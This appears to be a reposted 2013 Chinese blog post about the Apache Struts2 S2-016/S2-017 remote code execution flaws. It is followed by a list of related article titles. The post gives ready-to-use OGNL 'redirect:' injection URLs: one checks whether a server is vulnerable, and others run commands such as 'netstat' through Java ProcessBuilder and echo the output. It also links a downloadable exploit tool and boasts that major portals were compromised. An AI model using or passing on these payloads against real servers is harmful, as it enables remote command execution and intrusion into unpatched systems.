struts2 最新S2-016-S2-017漏洞通杀struts2所有版本
2013-08-20 08:21
706 查看
struts2 最新S2-016-S2-017漏洞通杀struts2所有版本
Struts2这个不争气的家伙。已经无话可说了。POC来自官方:
http://struts.apache.org/release/2.3.x/docs/s2-016.html http://struts.apache.org/release/2.3.x/docs/s2-017.html
检测是否存在(输出[/ok]即存在):
http://www.8090sec.com/Struts2/test.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}
命令执行:
http://www.8090sec.com/struts2-blank/example/HelloWorld.action?
redirect:${
%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),
%23b%3d%23a.getInputStream(),
%23c%3dnew java.io.InputStreamReader(%23b),
%23d%3dnew java.io.BufferedReader(%23c),
%23e%3dnew char[50000],%23d.read(%23e),
%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
%23matt.getWriter().println(%23e),
%23matt.getWriter().flush(),
%23matt.getWriter().close()
}
------------------------------------------------------------------
两款struts2 最新S2-016-S2-017漏洞利用工具+exp
exp:
?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27netstat%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
工具下载:http://www.8090sec.com/Exploit/Struts2.zip
一大片门户站点沦陷 baidu\sina\中国电信\中联信支付\sohu\优酷\金鹰网\ 淘宝\京东..
相关文章推荐
- struts2 最新S2-016-S2-017漏洞通杀struts2所有版本
- struts2 最新S2-016-S2-017漏洞通杀struts2所有版本
- struts2 最新S2-016-S2-017漏洞通杀struts2所有版本及修复方法
- struts2 最新漏洞 S2-016、S2-017修补方案
- struts2 漏洞 S2-016、S2-017修补方案
- struts2最新s2-016代码执行漏洞CVE-2013-2251
- Struts2 S2-016,S2-017远程代码执行漏洞解决,修复
- Struts2 高危漏洞修复方案 (S2-016/S2-017)
- struts2 最新漏洞 S2
- Struts2 高危漏洞修复方案 (S2-016/S2-017)
- struts2升级到2.3.32版本,防止漏洞编号S2-045,CVE编号:cve-2017-5638
- struts2升级到2.3.32版本,防止漏洞编号S2-045,CVE编号:cve-2017-5638
- Struts2 高危漏洞修复方案 (S2-016/S2-017)
- Struts2 高危漏洞修复方案 (S2-016/S2-017)
- struts2升级到2.3.32版本,防止漏洞编号S2-045,CVE编号:cve-2017-5638
- struts2之高危远程代码执行漏洞,可造成服务器被入侵,下载最新版本进行修复
- Struts2(s2-016)远程代码执行漏洞详细代码分析
- Struts2 高危漏洞修复方案 (S2-016/S2-017)
- 漏洞--Struts2远程命令执行S2-016
- Struts2 高危漏洞修复方案 (S2-016/S2-017)